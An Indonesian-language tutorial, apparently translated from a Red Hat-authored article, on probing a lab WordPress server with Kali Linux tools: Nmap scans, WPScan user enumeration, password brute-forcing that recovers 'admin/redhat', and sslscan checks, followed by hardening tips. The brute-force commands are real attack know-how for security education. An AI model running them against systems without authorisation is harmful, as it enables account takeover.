GNU/Linux >> Belajar Linux >  >> Linux

Pengujian pena dengan alat keamanan Linux

Banyaknya pelanggaran yang dipublikasikan dengan baik dari perusahaan konsumen besar menggarisbawahi pentingnya manajemen keamanan sistem. Untungnya, ada banyak aplikasi berbeda yang membantu mengamankan sistem komputer. Salah satunya adalah Kali, distribusi Linux yang dikembangkan untuk pengujian keamanan dan penetrasi. Artikel ini menunjukkan cara menggunakan Kali Linux untuk menyelidiki sistem Anda guna menemukan kelemahan.

Kali menginstal banyak alat, semuanya open source, dan menginstalnya secara default membuat segalanya lebih mudah.

Sistem yang akan saya gunakan dalam tutorial ini adalah:

  1. kali.usersys.redhat.com :Ini adalah sistem di mana saya akan meluncurkan pemindaian dan serangan. Ini memiliki memori 30 GB dan enam CPU virtual (vCPU).
  2. vulnerable.usersys.redhat.com :Ini adalah sistem Red Hat Enterprise Linux 8 yang akan menjadi target. Ini memiliki memori 16GB dan enam vCPU. Ini adalah sistem yang relatif mutakhir, tetapi beberapa paket mungkin sudah ketinggalan zaman.
  3. Sistem ini juga menyertakan httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64 , mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64 , tigervnc-server-1.9.0-15.el8_1.x86_64 , vsftpd-3.0.3-32.el8.x86_64 , dan WordPress versi 5.6.1.

Saya menyertakan spesifikasi perangkat keras di atas karena beberapa tugas ini cukup menuntut, terutama untuk CPU sistem target saat menjalankan WordPress Security Scanner (WPScan).

Selidiki sistem Anda

Saya memulai penyelidikan saya dengan pemindaian Nmap dasar pada sistem target saya. (Anda dapat mempelajari Nmap lebih dalam dengan membaca Menggunakan hasil Nmap untuk membantu memperkuat sistem Linux.) Pemindaian Nmap adalah cara cepat untuk mendapatkan gambaran umum tentang port dan layanan mana yang terlihat dari sistem yang memulai pemindaian Nmap.

Pemindaian default ini menunjukkan bahwa ada beberapa port terbuka yang mungkin menarik. Pada kenyataannya, setiap port terbuka mungkin menarik karena bisa menjadi cara penyerang untuk menembus jaringan Anda. Dalam contoh ini, port 21, 22, 80, dan 443 bagus untuk dipindai karena merupakan layanan yang umum digunakan. Pada tahap awal ini, saya hanya melakukan pekerjaan pengintaian dan mencoba mendapatkan informasi sebanyak mungkin tentang sistem target.

Saya ingin menyelidiki port 80 dengan Nmap, jadi saya menggunakan -p 80 argumen untuk melihat port 80 dan -A untuk mendapatkan informasi seperti sistem operasi dan versi aplikasi.

Beberapa baris kunci dalam output ini adalah:

PORT   STATE SERVICE VERSION
80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1

Karena sekarang saya tahu ini adalah server WordPress, saya dapat menggunakan WPScan untuk mendapatkan informasi tentang potensi kelemahan. Penyelidikan yang baik untuk dijalankan adalah mencoba menemukan beberapa nama pengguna. Menggunakan --enumerate u memberitahu WPScan untuk mencari pengguna di instans WordPress. Misalnya:

┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021

Interesting Finding(s):
...
[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] pgervase
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Ini menunjukkan ada dua pengguna:admin dan pgervase . Saya akan mencoba menebak kata sandi untuk admin dengan menggunakan kamus kata sandi, yang merupakan file teks dengan banyak kemungkinan kata sandi. Kamus yang saya gunakan adalah 37G dan memiliki 3.543.076.137 baris.

Seperti ada beberapa editor teks, browser web, dan aplikasi lain yang dapat Anda pilih, ada beberapa alat yang tersedia untuk meluncurkan serangan kata sandi. Berikut adalah dua contoh perintah menggunakan Nmap dan WPScan:

# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

Skrip Nmap ini adalah salah satu dari banyak kemungkinan skrip yang dapat saya gunakan, dan memindai URL dengan WPScan hanyalah salah satu dari banyak kemungkinan tugas yang dapat dilakukan alat ini. Anda dapat memutuskan mana yang ingin Anda gunakan

Contoh WPScan ini menunjukkan kata sandi di akhir file:

┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021

Interesting Finding(s):

…..

[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 <=========================================================                                                         > (3231 / 6462) 50.00%  ETA: ??:??:??
[SUCCESS] - admin / redhat                                                                                                                                                                      

[!] Valid Combinations Found:
 | Username: admin, Password: redhat

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu Feb 18 20:34:15 2021
[+] Requests Done: 3255
[+] Cached Requests: 34
[+] Data Sent: 1.066 MB
[+] Data Received: 24.513 MB
[+] Memory used: 264.023 MB
[+] Elapsed time: 00:02:02

Bagian Kombinasi Valid Ditemukan di dekat bagian akhir berisi nama pengguna dan sandi admin. Hanya butuh dua menit untuk melewati 3.231 jalur.

Saya memiliki file kamus lain dengan 3.238.659.984 entri unik, yang akan memakan waktu lebih lama dan meninggalkan lebih banyak bukti.

Menggunakan Nmap menghasilkan hasil yang jauh lebih cepat:

┌──(root?kali)-[~]
└─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
|   Accounts:
|       admin:redhat - Valid credentials              <<<<<<<
|       pgervase:redhat - Valid credentials         <<<<<<<
|_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version     port/proto  service
|   100000  2,3,4       111/tcp   rpcbind
|   100000  2,3,4       111/udp   rpcbind
|   100000  3,4         111/tcp6  rpcbind
|_  100000  3,4         111/udp6  rpcbind
3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds

Namun, menjalankan pemindaian seperti ini dapat meninggalkan banjir pesan pencatatan log HTTPD pada sistem target:

10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"

Untuk mendapatkan informasi tentang server HTTPS yang ditemukan di pemindaian Nmap awal saya, saya menggunakan sslscan perintah:

┌──(root?kali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev  xx XXX xxxx

Connected to 10.19.47.242

Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com

  SSL/TLS Protocols:
SSLv2   disabled
SSLv3   disabled
TLSv1.0   disabled
TLSv1.1   disabled
TLSv1.2   enabled
TLSv1.3   enabled
<snip>

Ini menunjukkan informasi tentang protokol SSL yang diaktifkan dan, lebih jauh pada output, informasi tentang kerentanan Heartbleed:

  Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed

Kiat untuk mencegah atau mengurangi penyerang

Lebih banyak sumber daya Linux

  • Lembar contekan perintah Linux
  • Lembar contekan perintah Linux tingkat lanjut
  • Kursus online gratis:Ikhtisar Teknis RHEL
  • Lembar contekan jaringan Linux
  • Lembar contekan SELinux
  • Lembar contekan perintah umum Linux
  • Apa itu container Linux?
  • Artikel Linux terbaru kami

Ada banyak cara untuk mempertahankan sistem Anda dari banyak penyerang di luar sana. Beberapa poin penting adalah:

  • Kenali sistem Anda: Ini termasuk mengetahui port mana yang terbuka, port apa yang harus dibuka, siapa yang dapat melihat port terbuka tersebut, dan lalu lintas yang diharapkan pada layanan tersebut. Nmap adalah alat yang hebat untuk mempelajari sistem di jaringan.
  • Gunakan praktik terbaik saat ini: Apa yang dianggap sebagai praktik terbaik saat ini mungkin bukan praktik terbaik di masa mendatang. Sebagai admin, penting untuk selalu mengikuti perkembangan tren di ranah infosec.
  • Ketahui cara menggunakan produk Anda: Misalnya, daripada membiarkan penyerang terus-menerus membobol sistem WordPress Anda, blokir alamat IP mereka dan batasi berapa kali mereka dapat mencoba masuk sebelum diblokir. Memblokir alamat IP mungkin tidak begitu membantu di dunia nyata karena penyerang cenderung menggunakan sistem yang disusupi untuk meluncurkan serangan. Namun, ini adalah pengaturan yang mudah untuk diaktifkan dan dapat memblokir beberapa serangan.
  • Pertahankan dan verifikasi cadangan yang baik: Jika penyerang terdiri dari satu atau beberapa sistem Anda, kemampuan untuk membangun kembali dari cadangan yang baik dan bersih dapat menghemat banyak waktu dan uang.
  • Periksa log Anda: Seperti yang ditunjukkan contoh di atas, perintah pemindaian dan penetrasi mungkin meninggalkan banyak log yang menunjukkan bahwa penyerang menargetkan sistem. Jika Anda melihatnya, Anda dapat mengambil tindakan pencegahan untuk mengurangi risiko.
  • Perbarui sistem Anda, aplikasinya, dan modul tambahan apa pun: Seperti yang dijelaskan oleh Publikasi Khusus NIST 800-40r3, "tambalan biasanya merupakan cara paling efektif untuk mengurangi kerentanan kelemahan perangkat lunak, dan seringkali merupakan satu-satunya solusi yang sepenuhnya efektif."
  • Gunakan alat yang disediakan vendor Anda: Vendor memiliki alat yang berbeda untuk membantu Anda memelihara sistem mereka, jadi pastikan Anda memanfaatkannya. Misalnya, Red Hat Insights, yang disertakan dengan langganan Red Hat Enterprise Linux, dapat membantu menyempurnakan sistem Anda dan memperingatkan Anda tentang potensi ancaman keamanan.

Pelajari lebih lanjut

Pengenalan alat keamanan ini dan cara menggunakannya hanyalah puncak gunung es. Untuk menyelam lebih dalam, Anda mungkin ingin melihat sumber daya berikut:

  • Armitage, alat manajemen serangan sumber terbuka
  • Pusat Keamanan Produk Red Hat
  • Saluran Keamanan Red Hat
  • Halaman Cybersecurity NIST
  • Menggunakan hasil Nmap untuk membantu memperkuat sistem Linux

Linux
  1. Pantau sistem Linux Anda di terminal Anda dengan procps-ng

  2. Pindai keamanan Linux Anda dengan Lynis

  3. Memahami panggilan sistem di Linux dengan strace

  1. Menjadwalkan tugas sistem dengan Cron di Linux

  2. Bertahan dari audit keamanan dengan Linux perusahaan

  3. Keamanan Linux:Lindungi sistem Anda dengan fail2ban

  1. Distribusi Linux Populer untuk Pengujian Keamanan

  2. Perintah Shutdown Linux (dengan Contoh)

  3. Pemantauan keamanan di Linux dengan Tripwire